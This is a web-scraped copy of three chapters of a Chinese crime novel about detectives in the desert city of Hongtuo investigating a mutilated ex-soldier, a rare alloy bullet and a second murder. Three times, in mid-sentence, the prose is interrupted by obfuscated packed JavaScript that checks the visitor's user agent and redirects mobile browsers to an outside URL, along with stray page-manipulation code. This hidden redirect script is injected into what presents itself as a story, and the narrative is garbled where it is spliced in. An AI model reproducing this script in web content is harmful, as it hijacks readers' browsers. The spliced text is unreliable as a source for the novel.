《回响之下》 1. 第一具尸体 新林德共和国,西部联区,红驼城。 风自沙漠而来,穿过空荡荡的炼油厂。这里曾有过好日子,黑色黄金自地底冲涌而出,白烟环绕,机器轰鸣,如今从前一切早成过眼云烟,只剩几座精炼塔在遍地厂房和储油罐中,逐年锈蚀。 出没此地最多的就是拾荒人。他们埋头苦干,竭力寻觅一切残余的电缆,零件和金属,像蚂蚁将这座废弃城池一点点啃噬干净。 今日蚂蚁们没有忙着搬运,而是探头探脑的看着警车呼啸而至。 高尚桢在蜘蛛网似的管道中艰难穿行,卫其宏跟在后面,不小心被沙棘刮了几次,脸都苦了起来。 十分钟后,他们终于到达迷宫终点,迎面是一道深长沟壑,和正在给几个拾荒者做笔录的刑警界至野。 卫其宏靠近沟壑前,朝沟底张望了望,本就发白的脸色泛出苦色。 界至野收起录音笔,嘲笑他:“少爷您还恐高啊。” 卫其宏无力的摆摆手,偷瞄了一眼正走向陈法医的高尚桢,压低声音抱怨:“还不是组长?你也知道,他那云霄飞车……” 界至野嘿嘿直笑,雪上加霜:“这回你可不止上云霄了,恐怕还得下地底。”他下巴朝沟壑深底扬了扬,“尸体在下面。” 卫其宏脸有点青,“啊?怎么回事?这沟怎么回事?怎么发现的尸体?” 界至野摸出一根烟,目光落上不远处的储油罐,又塞了回去,“下面是输油管,打仗时候被轰过,就炸出了这么道沟,挺深的,得有二十几米,还有不老少炸弹碎片。”他示意卫其宏去看那几个畏畏缩缩的拾荒者,“这边不安全,他们也不总来,每隔四五天去下面一回拣破烂,结果今天就发现多了个死人。” 卫其宏抹了把脸,“尸体还在下面?”看同伴点头,直挠头皮,“这个怎么运上来?肯定得调用吊车,说不准得几天,组长那脾气能忍?” 当然不能。 所以高组长正在陈法医讨论,或者说,吵架。 “等什么等?等不了!” “尸体在下面都一两天了。”高尚桢指着沟底,气势汹汹,“这个地形如果要机械搬运,肯定短时间解决不了,这里昼夜温差大,再耽误痕迹就没了!” 陈法医一脸无动于衷,冷淡的请他认清事实:“我可以冒险下去检查,可下面光线太暗,就算有应急灯照明也不适合做尸检,你还是老实等着吧,高组长。” 高组长反应奇快:“不用你人冒险,我可以让人背上来。” 陈法医冷笑,“我知道高大组长觉得自己十项全能,不过你毕竟不是专业攀岩的,你组里那几个也不是。” 卫其宏站在组长身后低着头,尽力淡化存在感。 高尚桢点头,“我当然不是,不过有人是。”说着他看向几名正交头接耳的拾荒者。 陈法医秒懂他的意思,冷笑加深,“他们肯干?”话音没落就看到高组长准备掏钱包,赶紧阻止,“等等!就算他们爬上爬下没问题,也难以保证尸体不被二次破坏,你还是要等专业支援来。” 高尚桢一脸笃定,“你放心,只要多加钱,肯定二次破坏不了。” 话音未落,果不其然陈法医眉头立起,高组长速速举手投降,“只是搬运不是解剖,有人看着问题不大。也不用你出马,我好歹也有点法医基础,我跟下去就行。” 陈法医忍无可忍骂了出声,“高尚桢你这狗脾气。” 高组长充耳不闻,开始撸袖子做准备。 陈法医气得磨牙,视线碰到刑事组组长的左腿,到底从牙缝里恨恨挤出一句,“行,我跟下去。”狠瞪他一眼,回头开始让助理法医准备器材。 高尚桢看向身后,界至野早已开始继续问询拾荒者,只剩卫其宏面如土色,和他对视不过三秒,穿着名牌外套的年轻刑警举手投降,“组长,我自愿下去监督!” 两天后,红驼城,刑事调查组,会议室。 “法医初步报告,死者死于九月十四日凌晨一点到四点之间,身中三百多刀,面部毁坏尤其严重,但是都不致命,真正死因是失血引发的休克。” 会议室内,卫其宏在正前方侃侃而谈,随着他摁下遥控器,角度各异的尸体照片被逐一投射上白色幕布。 界至野摸了摸下巴,有些狐疑,“三百多刀,没有命中要害?” 卫其宏点头,“法医推测整个过程大概持续有三四个小时,直到受害者最终死亡,沟底也不是案发第一现场,他在死亡之后被抛尸,后面的厂房里才是。” 随着他的介绍,下一张幻灯被投射出来。 那同样是炼油厂内一片废弃厂房,裂开墙壁上满是各种涂鸦,在街头艺术家们的黑白作品里,某些红色血滴格外引人瞩目;更加触目惊心的则是地面上的细沙,被血色染出了大片暗红色的细沙。 “这里血迹属于死者所有,这里经常有人来搞各种艺术活动,除此之外,暂时没有发现其他可疑痕迹。” “根据DNA 分析,我们确定死者是白行人。”在年轻探员的介绍里,死者的生平简介呈现在刑事组成员眼前。 组员们皱起了眉——信息实在太少了。 这种反应在意料之中,卫其宏加快语速,“白行人,出生在南部联区洛石索,今年38岁,无犯罪记录,无婚姻记录,父母双亡,也没有任何记录在案的其他近亲。战时入伍,曾在第112军中服役,这也是DNA对比能很快出结果的原因。” “战争结束后他以中士军衔退役,之后去向不明,起码对我们不明,没有查到任何关于他就业,居住,医疗等等信息,他名义下也没有任何交通工具。”他说到这里,显得有点紧张,看向握着墨水笔的组长,“实际上在发现死者DNA和军方资料适配时,系统里马上跳出绝密警告,提示我们权限不足,死者大部分资料都被系统屏蔽。 ” 高尚桢用笔尖遥遥指向士兵照片,颇为怀疑:“普通士兵会有绝密等级?是不是战争时候参加过秘密行动?你联系过军方没有?他们怎么说?” 卫其宏被一串问题砸哑,求助性的离自己最近的短发女性,也是会议室中唯一身着警服的刑事组探员,“副组长打过了。” 盛苒推了推眼镜,及时接过他的话,“112军方面表示白行人的确曾在其部服役,不过他本身只是个普通士兵,不涉及任何机密,这一点我已再三确认过。”说到这里,她轻轻呼了口气,“后来我又做了进一步查证,发现把死者信息升到绝密级别的是中央情报司。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652170|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他们和军方虽然共享某些资料,但并不属于一个系统。” 中央情报司五个字令警员们面面相觑,高尚桢皱眉,声音难得低沉,“他们怎么会卷进来?” 没人能回答他的问题。 界至野在桌角上摔了摔案情报告,低声嘟囔,“我一直觉得这地方是传说,没想到居然还真有。” 盛苒扶扶眼镜,点点头,“我已经发过三封邮件,打过两次电话,但对方都拒绝透漏任何信息,”她声音平静,“红驼警局的级别远低于中央情报司,无法勉强。” 一直没有开口的安月见举起了手,“这还是我们能办的案子吗?是不是要交给上面?” 盛苒向新手刑警微微一笑,“在上面意见没有下来之前,这还是我们分内的案子。” 高尚桢似乎没有留意这段小插曲,他凝视着幕布上那身着军服的年轻士兵,微微沉思,“如果军方坚决否认,那唯一可能是他的士兵经历与此无关,真正让他和绝密挂钩的是他退役之后这段行踪不明的时候。” 盛苒赞同,“我也这么想。小卫还有些新情报。” 卫其宏来到剩下最后一张幻灯片,上面有两张解剖照片,他先指向左边被红色圈出的区域:“陈法医发现,白行人有脑肿瘤,恶性程度中级,如果不进行有效治疗,剩下的时间不多。” 这又是条出乎意料的信息,界至野向后一仰,小声嘀咕:“这是逃得了和尚逃不了庙啊。” 卫其宏装没听见,光标又指向右面图片,“这时死者左侧股骨,法医检测曾有枪伤痕迹,据我们所致,112军并没有上过战场,而且陈法医说这个伤势有点特殊。他需要进行进一步检测,还有两三天才能有最终结论。” “目前已知信息就这些,虽然废炼油厂的确有流浪者居住,不过我们已经询问了几批拾荒者,都说从来没见过白行人,当晚也没有听过任何不对劲的动静。” 高尚桢翻回文件的第一页,看到“南部联区洛石索”的字样,思索着开口:“他是南部人,也在南部服役,为什么会来红驼?” ——南部多雪山,西部则是典型的沙漠气候,二者千差万别。 卫其宏对幻灯片的内容早就烂熟于心,却没想到组长问了个超纲的,他把重心换到另一只脚,硬起头皮回答:“这个我们还没查到。” “他是才来到红驼,还是一直生活在这里?” 这个问题更加棘手,组员们都沉默下来。 高尚桢手指薄薄的报告上一弹,“不管他是长期还是暂时居住,住宿交通肯定会留下痕迹,不可能查不到,认真查!” 卫其宏小心开口,“我们查过了,确实没有白行人这个名字,当然他很可能使用假身份活动,也有人帮忙,这不过查这个就不太容易。我们人手不太够,时间可能长一些。 高尚桢抬头看了他一眼,眼神并不凌厉,可卫其宏还是感到自己被老虎须子碰了碰,背后开始冒凉气。 “从市内各片区抽动警力,集中追查。” 卫其宏赶忙点头,倒是界至野有些迷糊,“老大,这就是个普通的凶杀案,不至于这么大阵仗吧。” 高尚桢横他一眼,“绝密级别,中央情报司,这还能是普通凶杀案?” 2. 神秘的子弹 烈日下老式雪佛兰飞驰着,向模糊又扭曲的前方奔去。几乎烫化了的道路上车轮一擦而过,只留下轰隆余响。 高尚桢喜欢这种将一切抛在身后的感觉。 他从城市边缘永远死去了的油田间掠过,那些破败厂房在白天里也黑洞洞的,仿佛永不不瞑目的眼。 一路逆光而上,雪佛兰就这样迎向了鳞次栉比的寂静大厦。听说它们附近也曾车水马龙,寸步难行,但是高尚桢并不曾亲眼见识过。那是战前繁荣时代的故事,存在于记录过去的影像里。如今这里早已空空荡荡,只剩下沙漠里的风和细沙扑打楼宇的声音。 石油能源耗尽之后,人们曾认为这座沙漠边缘的城市会就此死去,然而就如名字一样,红驼城默默无声,又坚韧不拔的活了下来。 仿佛一夜之间,各种低矮建筑就拔地而起,艺术家在这里找到了天堂,到处都是稀奇古怪的涂鸦和天马行空的雕塑;而随着战争结束,边境贸易又再度活跃起来,于是这里成了游客,嬉皮士,艺术家,各种小业主和边境贸易商们的世界。 高尚桢喜欢这座城市的混乱与顽强,在这里他能清楚见证时间如何从停滞到流动,秩序如何从建立到消散,亦或反之。 他也尽情享受这里旺盛又狂野的生机,虽然有时这种享受也确实给他造成一点小麻烦。 比方说,眼下他就不得不在警察快要翻上天的白眼里取回证件,而对方不客气的开出了本月第三张罚单。 “……如果有异议可以出庭抗辩。”交通警察面无表情的宣告他的权力,“高组长。”然后撕下罚单从车窗缝隙里递过去。 警笛声降了几度,仍旧叫个没完。高尚桢接过罚单,回了他一个假笑,这时旁边手机开始震动,他看了眼来电显示,马上接通电话。 法医冷冰冰的嘲笑传了过来,“……听你那边动静,高警官不是又被抓了吧?” 高尚桢豪气反击,“我喜欢义务为城市财政做贡献。你这时打电话,是不是提过的特殊伤口有了结果?” 听得出陈法医在电话那端吸了口气,“狗脾气的人还真有狗运气,尸检出了点意料之外的结果,具体情况见面详细谈……” “什么结果?”高尚桢迅速拉上车窗,车子在一秒之内打火启动,就在他要踩下油门之际,一张大脸突然贴上侧窗。 “提醒高组长,开车不能打电话,尤其是开快车。”帮助高组长为本市财政做许多贡献的警察从摩托车上俯下身体,向他扬扬手中罚单本,亲眼见证超速分子狠狠摁断通话键后,潇洒离去。 卫其宏已经在法医室外等了很久,正把新来的小助理哄得直笑,猛然看到顶头上司黑着脸从外边走过,他一把抹掉笑容,跟着上司一路进了法医室。 陈法医已戴好口罩正在等在停尸台前,见两人靠近,没有半句客气话,直接将覆盖在尸体上的白布揭开。布料轻微的摩擦声中,因尸僵而膨出的腿部肌肉赫然出现在眼前,卫其宏那颗荡漾的春心立刻就凉个通透。 高尚桢目光落在尸体的左大腿外侧,那道陈旧枪伤的瘢痕清晰可见,陈法医拣起一把解剖钳,拨开肌肉示意他看向里面。 “这里有点不对劲。”他抬头看看刑事组的头,“看出来了吗,懂点法医学的高组长?” 高尚桢紧紧盯住枪伤留下的痕迹,皱起眉头,“骨头上有这么大的穿孔?” 陈法医点头,“看这里,”他用钳子将伤口拉大一些,“看这个纹裂。” 无影灯将停尸台照得一览无余,手指头大小的骨洞格外清楚,卫其宏微微悚然,而他的组长声音则有些低,“放射状的?” “没错。”陈法医感兴趣的挑挑眉,从旁边手术台上捏起张X光片,点着上面一处小孔,给他们示意其周围厚厚白环,“伤口周围的钙化很严重,看来这个枪伤可有点重。” 卫其宏暗暗腹诽都枪伤了还能不重么,但是他很知趣的闭紧嘴巴,虚心聆听。 高尚桢交抱双肘,“这种钙化程度,当时受伤情况必定相当严重。普通子弹不可能有这么大动能,造成这种放射状裂纹;从骨头的断裂方式来看,也不像普通线性穿透,这种伤势……”他轻轻嘘了口气,面色沉重,“空尖弹?” 这个词让卫其宏吓了一跳,他脱口而出,“啊?空尖弹?那不是只有特种部队才有……”说到这里突然卡壳,显然也被自己的话吓住了,脑海里骤然划过一行红字——绝密级别! 高尚桢瞥他一眼,又看向法医,“还有别的线索吗?” 陈法医将钳子丢回金属盘,重新为尸体盖好白布,一边甩手套一边冷笑,“要不说你有狗运气,从愈合情况上判断,这个枪伤起码在七八年以上,一般都不会留下痕迹。不过我跟你保证,当时死者受伤之后,接受的肯定不是什么正规外科手术,所以我能在二次尸检的时候,发现一块弹片残渣。” “样品已经送去检验了,不过太小,有难度,可能要一两天才能出结果。” 实际上陈法医还是太过乐观了些。直到第五天刑事组才等来了结果,这也让在其他方面屡屡碰壁的组员们松了口气。 过去一周界至野带着安月见跑遍了红驼城,却无论如何找不到白行人出没的痕迹。这个人像呗儿的一声突然就从天上掉下来似的,住宿交通全无痕迹。 界至野只能安慰自己就当带新人见识了红驼这颗沙际之珠,眼瞅着高组长的脸一天比一天更黑,跟老虎似的随时准备张嘴吃人,即使他这样的老油条也觉得难熬,好在法医室的电话终于总算来了,所有人都长长松了口气,不过除了副组长盛苒,没人敢跟着高老虎一起去旁听结果。 实际上这是个好主意,即使乖僻如陈法医,当着盛苒面也不敢明目张胆的揪老虎尾巴,只咳嗽了一声,姿态稳重的将枪械报告交给她,“你们自己看。” 这份让他们苦等几天的报告只有两页,盛苒轻声读了出来,“…未发现任何与枪管膛线吻合的痕迹。光谱分析结果显示碳化钨合金88%,钴粘合剂2%,钌……”读到这里,她抓住报告的手指突然抽紧,“钌1%,铋9%。” 高组长浓眉紧皱,伸手接过报告,目光定在稀有金属的黑字上,再三确认无误,抬头看向法医,目露疑惑,“这不是普通子弹?” “当然不是。”陈法医慢条斯理的喝了口咖啡,“这么说吧,如果一个师装备这种子弹,那红驼城所有人都得去喝西北风;如果是一个军,西部联区就得财政枯竭。” 高尚桢深呼了口气,“既然大规模列装不可能,那么就是特种用途……特种部队?” 陈法医大幅度摇头,“NO。”他举起食指摇了摇,“钌的价格你有概念吗?本来产量就少,战后更稀缺,尤其最近十年,价格堪比黄金,铋也不便宜。如果真按这个报告书里推测的,大口径步枪弹,总重15-16克之间。这种子弹用不上十颗就够买下你那台破车了。” 他讽刺了一句老同学,继续喝手里快凉掉的咖啡,“如果真存在这样一支特种部队,那必定是绝对精英。这个死者惹错对象了。” “二百二。”当这份报告和陈法医的估价评论被投上白色幕布时,卫其宏小声嘀咕,见安月见好奇的瞅自己,他有点得瑟的解释,“我的车能换二百二十颗子弹。” 高尚桢目光投来,跟通了电似的,电得卫其宏赶紧挺直腰板,一脸正气的等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652171|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待组长指示。 高组长收回目光,看向有点恍惚的组员们,“你们说说看自己的意见。” 卫其宏不敢吭声,倒是很少发言的安月见鼓足勇气举手,“我不太明白,这子弹这么特殊吗,是因为贵?” 盛苒向新人露出一个鼓励的笑容,“贵是一个因素,不过更重要的是这里面的技术含量。能让钌与其他金属按比例精确混合,这种技术可比黄金本身更稀罕。” 安月见眨眨眼,似乎有些明白了,“能穿透防弹衣?” 盛苒微微摇头,“不止,防弹衣,钢盔,所有防护材料都挡不住,中弹者基本第一时间就会被击毙,即使也不死会丧失战斗力。” 她耐心的解释,“这种子弹分为两层,外层是钨钢壳,直接穿透目标,而钌铋内芯炸裂后根本无法追踪。”她微微有些感慨,“本来我们也应该找不到线索,但是根据陈法医推测,这个死者当年中弹的情况可能万中无一,就是不知什么原因,导致子弹外层部分破碎,内芯也没有完全炸裂,所以杀伤力大大降低,人没死不说,还留下了这枚残片。” 她笑了笑,将陈法医最后那句总结咽了回去——高尚桢,你总是有点狗运气。 安月见其实仍然没全懂,可也不敢再问,只默默点了点头。 卫其宏已经恢复精神,“这么说死者曾经和特种部队交战过,所以受了重伤?是他当兵时候的事了吧。” 组长没吭声,盛苒摇摇头,替他回答:“南部虽然也属于战线的一部分,不过112军属于战略保障部队,找不到他们曾经参战的记录,再说特种部队也很少正面袭击正规军,他的枪伤应该不是这种原因。” 会议室里又是一片沉默,每个人都想起了档案里的“绝密”二字,一时连空气都绷紧了。 高尚桢敲敲桌子,咚咚击碎了这份看不见的沉重,“既然目前找不到子弹的公开信息,那就先不要假定这种特殊子弹是外国制造。” 卫其宏沉不住气了,“组长你的意思是,死者是被我们自己特种部队打伤的吗?” 高尚桢嗯了一声,“不排除这种可能。” 卫其宏歪了歪头,显然很难接受这种假设,“可死者除了当过兵之外,就是个普通人,怎么轮得到特种部队收拾他?” 这是界至野在旁边及时接话,“不是特种部队,得是特种部队中的特种部队。” 高尚桢从眼皮下扫去一眼,“你找到死者在本地的线索了?” 界至野脖子一压,深恨自己多嘴,“还没,老大,就是吧,还是有点,那个难查。” 高尚桢摆摆手,“算了,你先放一放。”他指着幕布上模拟生成的子弹图案,“你路子广,先看看能不能查出这颗子弹的消息,其他人继续跟进犯人信息搜寻工作。” 就在大家以为会议快结束的时,盛苒忽然开口,“组长,我想到飞到南部联区一趟。”见大家眼光投来,她推推眼镜,笑了,“虽然电脑里个人信息属于绝密,不过这个人是真实存在过的,他在军队里的行动又不绝密,也许如今的112军里还有见过他的人,甚至就是他的战友。” “虽然机会很小,但是也值得当面谈。” 这个建议有些出乎意料,高尚桢只用了三秒就做出回答,“好,”他郑重的说,“辛苦了。” 盛苒这趟没有白跑,她果然带回了重要信息,但是高尚桢和整个刑事调查组都没有来得及第一时间对此表示欢迎,因为在她离开的一周里,调查组被两个突然事件折腾得地覆天翻。 第一件,红驼城又发生了第二桩同样惨烈的谋杀案。 第二件,上面为他们指派了一位特别调查官。 3. 第二具尸体 无论高组长还是他的组员们,对特别调查官要加入的消息都一无所知。实际上,他们正在风驰电掣的赶往郊区一个废车回收站。根据回收站老板报告,他今早刚到,就发现有个仓库里多出个死人,吓得他魂飞魄散赶紧报警。 此时卫其宏打量着这停满了报废车辆的巨大垃圾场,觉得即便没尸体出现,这里也足够吓人。 被拆卸下来的汽车零件到处都是,轮胎堆得跟小山一样,各种奇形怪状的车辆挤成一团,一层又一层朝天上扔,最高处的那几辆在风里摇摇晃晃的,随时都能砸下来。 他小心翼翼的前行,不被地面各种汽车废品绊倒。他的组长在前方几步远,边听界至野报告边前行,足下生风。 “老板姓吕,在城里有间汽车修理铺,他今早来拿旧车配件,结果发现仓库里死人了,马上报警。这片总有流浪汉,分局警察还以为又是一个,一来发现才事情不对头,赶紧通知我们。”界至野踢开一个滚过来的车零件,“陈法医在路上,马上就到了。” 说话间他们已来到一座很大的砖砌仓库前。仓库很有些年头,檐下的蛛网拉得老长,门锁那是那种老式链式锁,半挂在门把手上,在早晨的阳光下泛出刺眼的光。 仓库里充斥着铁锈与机油的味道,铁架一排接一排摆得很密,上面堆放着各种汽车部件,再走几步,便是鉴证人员闪烁不停的闪光灯。 闪光灯的焦点,是个半人多高贴墙的铁皮柜子。 柜门大开,一具尸体以某种奇诡的姿态蜷缩在里面。他面部趴向柜门底部,而两条腿则高高竖起,扭曲着够向铁柜顶部,像被调皮男孩拧紧的布偶;布偶双手则虔诚合拢在胸前——要仔细看,才发现这两只手被肉色布条紧紧捆在在了一起。 柜子下面有个东西吸引了高尚桢的注意。他戴好手套半跪在地,头贴近地面,以近乎和地面平行的角度,将手伸向柜底,收回来时,感受到指尖一点残留的湿意。 在柜底和地面不足两厘米的空隙里,整整齐齐摆了一条半干的手巾。 死者双眼布满血丝,没有合拢。 高尚桢看着这一切,慢慢站起,这一瞬四周人影似潮水般褪却,初生的朝阳忽而暗淡。他仿佛回到昨夜,重置身于这荒僻郊区的垃圾场中,死者的目光从凶手肩头处越过,与他相遇。 他想要张嘴呼救,可脸上已再度被盖上湿毛巾,于是视线被隔绝,只剩下白花花的碎光点。他像脱水的鱼一样想大口呼吸,然而灌进喉咙的只有湿与重,血丝迅速膨胀占据眼球。痉挛中,他的指甲抓破手腕,心脏剧烈跳动要蹦出胸腔,身体一点点失去力气。哄哄耳鸣中,恐惧与绝望淹过头顶。 当——当—— 锁链碰在门上的轻响将他拉回现实,高尚桢深深呼了口气。 ——残酷。 现场的感觉如此熟悉,然后他很快明白为什么。 白行人,九月十四日,炼油厂沟底发现的那位死者,身中三百多刀。 他也在第一眼就感受到同样的森冷。 二者有联系。 火花一刹那在他脑中打亮,虽然毫无证据,他也并没有将其迅速掐灭,这是他赖以生存的本能,就是法医惊叹过的那个“野狗一般的直觉”——当然组员们不敢这么像他老同学一样放肆,不过也都认为高组长曾被我神点化,开了天眼。 死亡时间大概是凌晨两点左右,希望陈理裕能加班完成尸检……高尚桢刚想到这里,就听到了陈法医那熟悉,而这次格外不怀好意的声音,“嗯,和我一起来的这位是你们组里的特别调查官,程宥。” 什么? 高尚桢霍然抬头,看到了正在和组员们打招呼的陈法医,还有他身后手拎公文包的那个西装男。 这位西装笔挺,好像随时准备去参加商务会议的男士做自我介绍,“程宥,信息处参事,”他用空出来的左手跟大家打招呼,茶色镜片后,一双眼睛温和弯起,“我将在这段时间担任刑事组的特别调查官。” 组员们显然都被这意料之外的情况震懵了,就连最老练的界至野也不住眨眼,半天没反应过来。卫其宏飞快的瞥一眼不远处的组长,向调查官挤出个笑,朝后稍稍撤了一步;只有安月见毫无所觉,向新来的上司郑重敬礼,“您好,调查官,我是安月见,三级刑警。” 西装男向她微笑,浑不觉自己瞬间成为案发现场的新焦点。他向高尚桢走近,“高组长吧,您好,我是程宥,希望我们合作顺利。”说着伸出手。 高尚桢直起身体,向对方抬了抬自己戴着手套的手,然后转过脸冲陈法医催促,“今天报告能不能出来?我们明早开会。”不等陈法医眉毛支楞起来,他又指指门框上晃悠悠的蜘蛛网,向界至野发出疑问,“老板肯定不常来,怎么这么巧昨晚杀人,今早他就来了?” 界至野拿笔挠挠头,笑容有点僵,“问过了,他说一大早就有个客人打电话着急修车,问他们有没有零件,他说有,当然都是旧车换下来的,然后就赶紧过来取……” 高尚桢不等他说完已截断,“去查那个打电话的人。”不等其他人反应,自己脱下手套,大步走出仓库。 对组长的飞车特技心有余悸,卫其宏这回找了借口开回自己的车,当他看到那辆破烂雪佛兰横冲直撞,就快在空气中划出残影时,深深庆幸自己的决定。 “怎么样?逃过组长的车幸福吧?”他得意的对副驾驶炫耀。 安月见心不在焉的嗯一声,第三次去瞅侧视镜。 卫其宏直笑,“你也别去坐界老的车,他那个车水箱有问题,动不动过热,得停下来加防冻液。” 事实果然再次证明他料事如神,没多久后面那台白车就停靠到了路边。 安月见试探着开口:“调查官还在界警官的车上呢,要不我们停一下接他们?” 卫其宏一心一意开车,“用不着,他们慢慢爬去呗。” 安月见更加不安,“我是说,调查官,嗯,程宥,程调查官。” 远远的黄灯亮了,卫其宏踩下刹车,“我说安同学,你可别太拿调查官什么的当回事。”他语重心长,“这些调查官可不是你那个书本上学的,什么在大案重案时来帮助现场刑警搞协调支援的。” “他们就来这里镀个金,有的还一通瞎指挥,反正就是混个资历升职。” “我跟你保证,现在组长肯定跟上面吵架呢。” 卫其宏的推断完全正确。 高尚桢在手机里和署长吵得天翻地覆,质问怎么才两年不到,这“再也不委任调查官”的承诺就成了废纸。对方开始还有点心虚,企图好言安慰,可耐不住高组长一通狂轰乱炸,终于勃然大怒:“这次是特殊情况,你个混小子,不想摘警徽就服从命令!”不容分说就挂掉电话,等高尚桢再打过去,那边只剩下盲音。 高尚桢一把摔掉手机,狠狠踩上油门,车轮和地面擦出簇簇火星。 当日红驼城刑事组乌云罩顶,直到晚上才渐渐消散——盛苒回来了。 于是除了界至野之外,刑事组的刑警又重新聚在办公室里,人手一碗泡面,呼噜声此起彼伏,还夹杂着可乐咕噜咕噜呛起的气泡声。 这回略有不同的是,会议室的角落还多出位不速之客。 此人西装挺括,头发一丝不苟紧贴头皮,手里拎瓶矿泉水,正是本次的特别调查官,程宥。 对他的临时加入,盛苒也和其他人同样意外。根据警界条例,只有在重大恶性案时,特别调查官会被临时指派来协调各方力量。而这回炼油厂(顶多再加上旧车回收站的案子)只是(两)桩普通命案,上头却遣来特别调查官,这个事确实有点不同寻常。 不过和其他人不同的是,盛苒用笑容,握手,一连串套话为程调查官送上迟到的欢迎,算是为刑事组小小拉回一点印象分,直到高组长将没吃完的泡面碗一扔,将她打断,“这趟你辛苦了,有什么有用的信息没有?” 盛苒从钥匙链上卸下U盘插入电脑,会议室前方的白色幕布上,很快就投出了一张泛黄的扫描照片。 照片上六七名穿着军服的年轻人,彼此勾肩搭背,面对相机排成两列,最前方左侧第二个士兵目视前方,显得有些拘谨。 虽然面貌已大相径庭,但刑警们还是第一眼就认出,此人正是两周前被发现,废炼油厂沟底的死者,白行人。 “这是死者入伍第一个月的照片。当年给他们拍照的是他们班长,现在是这个团的团长。这张照片也是他给我看的。不过这里面有个人并不在他们班里。” 激光笔从白行人的照片上滑过,指向他旁边的一个笑嘻嘻的士兵,“他叫做田光,是白行人的同乡。他经常来找白行人,所以团长还记得,当天正赶上了他们合照,所以有这张照片。” “然后大家看这里。”盛苒切到下一张幻灯片,上面显示出田光的个人信息,其中有一行被加重标出。 ——现住址:西部联区,长罗市,鸽子街2号。 高尚桢无意识的敲敲桌子。 长罗市,西部联区边界小城,最重要的是,它离红驼城相距仅有三十公里。 “难怪什么消息都查不到,原来白行人在长罗市有朋友啊。难怪了,他肯定是在那落脚,然后……”还没等兴奋的卫其宏说完,会议室的门忽然咯吱一声被推开,叼着香烟的界至野站在门口,瞅见屋子里一堆人,赶紧掐掉烟干笑,“这么多人……哎呦,原来是副组长您回来了。”说着小步走进来在卫其宏身边坐下,一把夺过后者身前剩下小半的泡面,咕嘟几口吞进肚,又把碗推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652172|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了回去。 高尚桢目光从他胸前的访客挂牌上一扫而过,转向盛苒,“还有什么信息?” 盛苒翻动着随身黑皮本,“绝大部分士兵都在战后复原了,团长是他们中唯一的现役军人。他很肯定的告诉我,数据库信息没错,他们整个军都是运输部队,当年甚至都没有真正参战,更别提绝密和特种部队,他们完全不知情。” “不过关于死者本人团长倒是介绍了不少。他说白行人体能非常好,训练表现优异,本来大有前途,但是实在太不合群,和战友冲突不断,所以上了退役的第一批名单。他离开部队之后就彻底断联了。” “这些年他们战友偶尔聚会,可没有人知道白行人的消息。” 高尚桢深思的点点头,“除了田光之外,死者还有其他同乡或者好友之类的吗?” 盛苒再次看了看记录,“对了,这里……团长说有个外面部队的士兵来探望过他几次,这个事情很稀罕,所以他印象很深。可惜那个士兵叫什么,长什么样,他全都不记得了,就记得是哪个野战部队的,只有这些。” 高尚桢双手交叉,环抱脑后,大脑飞速旋转。 废弃炼油厂,残留煤油味的沟底,身中三百多刀,却因失血过多慢慢熬死的白行人,他腿上不同寻常的枪伤,来历不明的神秘子弹,死者居住在长罗市的同乡,还有没人知道的野战士兵……这些林林总总的线索在他脑海里打着旋,无序的扩散而去,又再度收拢,重组。 在那之后闪到眼前的,便是今日旧车回收站铁柜里那具窒息而死的尸体。 好像有什么把两名死者串在了一起。 他深吸口气,看向正在和同伴抢可乐的界至野,“你一直在查特种子弹,查到什么没有?” 界至野松开手,指指胸前的访客牌,嘿嘿一乐,“本来查了一圈都啥也没找到,后来我就寻思不行去找专家吧,你懂的。”他给组长飞了个得意的媚眼。 高尚桢呲了一声,“少卖关子,不就是去监狱里找武器贩子?快点说!” 界至野赶紧举手投降,“是,老大,也不怪这玩意儿难查,连马脸叔……咳咳,我是说麻连肃,都不是知道怎么回事。不过他都在这行混了四五十年,只看了一眼就说这么金贵的玩意,即使精英部队也配不起。” “如果硬要说谁有,那只能传说里的一个特种小队,不过他也不保证,反复强调如果咱们国家有个队伍能列装这种子弹,一定是他们。” “那个名字还挺绕口的,我记下来了。”界至野打开手机,眯起眼,一个字一个字的往外蹦,“朗-基-努-斯-之-枪。” 朗基努斯之枪,神血之枪。 ——这回又开始邪教了是吧,行,好歹也算得上线索,可现在没时间深查。 高尚桢迅速将这个念头抛到脑后,指节咚咚敲动桌面,“子弹的线索可以放一放。现在有了新案,大家要集中精力追查确凿信息。” “我们分成两个小组,盛苒负责白行人的案子,界至野安月见协助;卫其宏跟着我,我们去查回收站的无名尸,那……”高尚桢本想就此宣布会议结束,可他的视线却不期然落上了角落里的调查官。 后者一直沉静的端坐,唇边含笑,态度无懈可击。 不太对劲。 